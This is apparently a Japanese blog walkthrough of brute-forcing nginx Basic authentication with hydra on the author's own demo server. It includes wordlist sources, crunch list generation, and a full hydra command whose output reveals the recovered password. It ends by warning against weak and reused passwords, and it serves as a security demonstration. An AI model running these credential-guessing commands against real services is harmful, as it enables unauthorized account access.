hydraでBasic認証をパスワードクラック!

Basic認証をクラックしよう


以前、sshでhydra使ってpasswordクラックしたんだけどパフォーマンス悪いし見えにくいしでhttpのBasic認証でcrackした方が見やすいし、簡単でいいな、ということで以前組んでいたBasic認証を再利用してhydraでattackする。ちょうど脆弱性デモをしたかったし好都合。


デモ環境



使ったtool

  1. hydra
  2. crunch
  3. Basic認証
  4. nginx

なお全てインストール済みということを前提としている


NginxにBasic認証導入編


basic認証をかけるパス配下 sampleディレクトリ配下にかける

/var/www/html/sample


.htaccessファイルの場所


そもそもnginxには.htaccessファイルはない、それに該当するファイルとして

/etc/nginx/sites-available/default

というdefaultファイルに設定を付け加える

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        location /sample {
            auth_basic            "Basic Auth";
            auth_basic_user_file  "/etc/nginx/.htpasswd";
        }


.htpasswdファイルの場所


/etc/hginx/.htpasswd
ユーザ:{SHA}S78***************

.htpasswdにはユーザ:暗号化されたpasswdという形式で記述 暗号化にはこういう便利なサービスを利用するといい

パスワード暗号化ツール

後はsystemctl restart nginxとかガチャガチャする そしてhttp://IPADDR/sampleにアクセスするとBasic認証が起動する


参考URL

Nginx : Basic認証の設定 ApacheでBasic認証設定


パスワードファイル編


hydraでcrackする際は基本的にBruteforce attack( 総当たり攻撃 )という手法でcrackするがその際に使用する辞書と呼ばれるパスワードファイルを用いて総攻撃をするので、使う辞書によっては総当たり攻撃とも言えないのでは?と思ったけどそこは重要じゃないので流す! とりあえず、パスワードファイル、辞書ファイルがないと何も始まらないよ!ってことで今回は有名な辞書ファイルを使う! 最新のよく使われるパスワードファイルなんかで回すとどうなるんだろうw


使用感度のいいPassword list


Open Wall

よく使われるパスワードをリスト化したファイルを置いてある。 ここにあるlower.gzとpassword.gzをダウンロードして使用 lowerが3kと軽く、ワード数は1000未満 passwordが13kと程よく、ワード数は3600程度 今回はどちらも使用した!


自分で作成するpassword list


crunchというコマンドで自分でパスワードファイルを作成することも可能で、その場合だと本当の意味での総当たりができると思う。

$ crunch
crunch version 3.6

Crunch can create a wordlist based on criteria you specify.  The output from crunch can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.

によるとどうやらこう使うらしい

$ crunch 3 3 ab 
Crunch will now generate the following amount of data: 32 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 8 
aaa
aab
aba
abb
baa
bab
bba
bbb

このように

$ crunch 最小文字列数 最大文字列数 文字列に含む文字 >> failname.txt

というように使う。そうすると結果として出力されるのであとはファイルに書き出してやればいい。


今回は実験として重複ありの全ローマ字で8文字列と6文字列のパスワードファイルを作成してみた


6文字列

$ time crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list
Crunch will now generate the following amount of data: 2236055952 bytes
2132 MB
2 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 321272406 
crunch 1 6 abcdefghijklnmopqrstuvwxyz > plainpasswd.list  67.02s user 3.25s system 95% cpu 1:13.45 total

01m:13sかかり、321272406wordsなのでそりゃ2Gも使う


$ time crunch 1 8 abcdefghijklnmopqrstuvwxyz > plainpasswd.list
Crunch will now generate the following amount of data: 1945934118544 bytes
1855787 MB
1812 GB
1 TB
0 PB

無理。1Tとか... そんなリソース無駄使いできないしCPUがえぐかったので強制終了。


なのでおそらく、その場でa~zまでのランダムな文字列のパスワードファイルを作成しようとすると6文字くらいが限界。12桁のパスワードファイル等をcrackする際のパスワードファイルを作成する場合はCPUパワーがあるマシンで数日回す必要があると思う。


URL


10_million_password_list_top_100000 最新のパスワードファイル

他にも「 password list 」なんかで検索するとたくさん出てくる


hydra password crack編


ここまでBasic認証とパスワードファイルを用意した。ついに本題である、hydraによるBasic認証のPassword Crackに入れる!


hydraの使い方をおさらい


基本的に

hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル

だが、今回はBasic認証ということで少しフォーマットが変わる

time hydra -l ユーザ -P パスワードファイルのパス IPADDR http-get /Basic認証がかかっているIPADDR配下のファイル

というフォーマットで後はコマンド叩くだけ


そして今回はIPADDR/sampleにかけられているBasic認証にcrackするので上にユーザも判明している場合を想定しているので、結果として、

MYUSER:[~]$ time hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-22 16:13:07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3557 login tries (l:1/p:3557), ~223 tries per task
[DATA] attacking http-get://10.0.0.***:80//sample
[80][http-get] host: 10.0.0.****   login: USER   password: dolphin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-01-22 16:13:10
hydra -l USER -P ~/Desktop/password.lst 10.0.0.*** http-get /sample  0.02s user 0.09s system 3% cpu 3.042 total

見やすく抽出すると

[80][http-get] host: 10.0.0.****   login: USER   password: dolphin


login: USER password: dolphin

ってバッチリとれてる!実にかかった時間なんと3s! dolphinというパスワードががっつり判明してる... このdolphinというパスワード、2018年の正月辺りにセキュリティ界隈ではバズったワードですねw
他にもpassword: 123456で回して見たけど0.7sというそりぁあね!という結果が得られたりしたよw


総括


まぁ、こんな感じで文字列だけとかいう脆弱なパスワードだと抜かれますよってこと。また、今回はユーザが判明している状況を想定したわけだけどユーザ名もユーザファイルみたいなよく使われるユーザ名をリスト化したファイルがあるからそれも併用してhydraを使えば回せるというわけ! 基本的にはBasic認証なんかもう今は使われてないと思うけど、もし使用していてパスワードを抜かれてしまった際はクラッカーはパスワードの使い回しを想定して暗躍しているので他のサービス等でそのパスワードを使用するという目的もちゃんと理解しておくべきなのかもね。 結局何が言いたいかというと、 脆弱なパスワードはあかん!!!! ということだよね(-A-)


URL


辞書攻撃に使う元ネタの辞書ファイル

Kail Linuxのhydraでブルートフォースを試す

クラックツールHydraでベーシック認証を突破してみる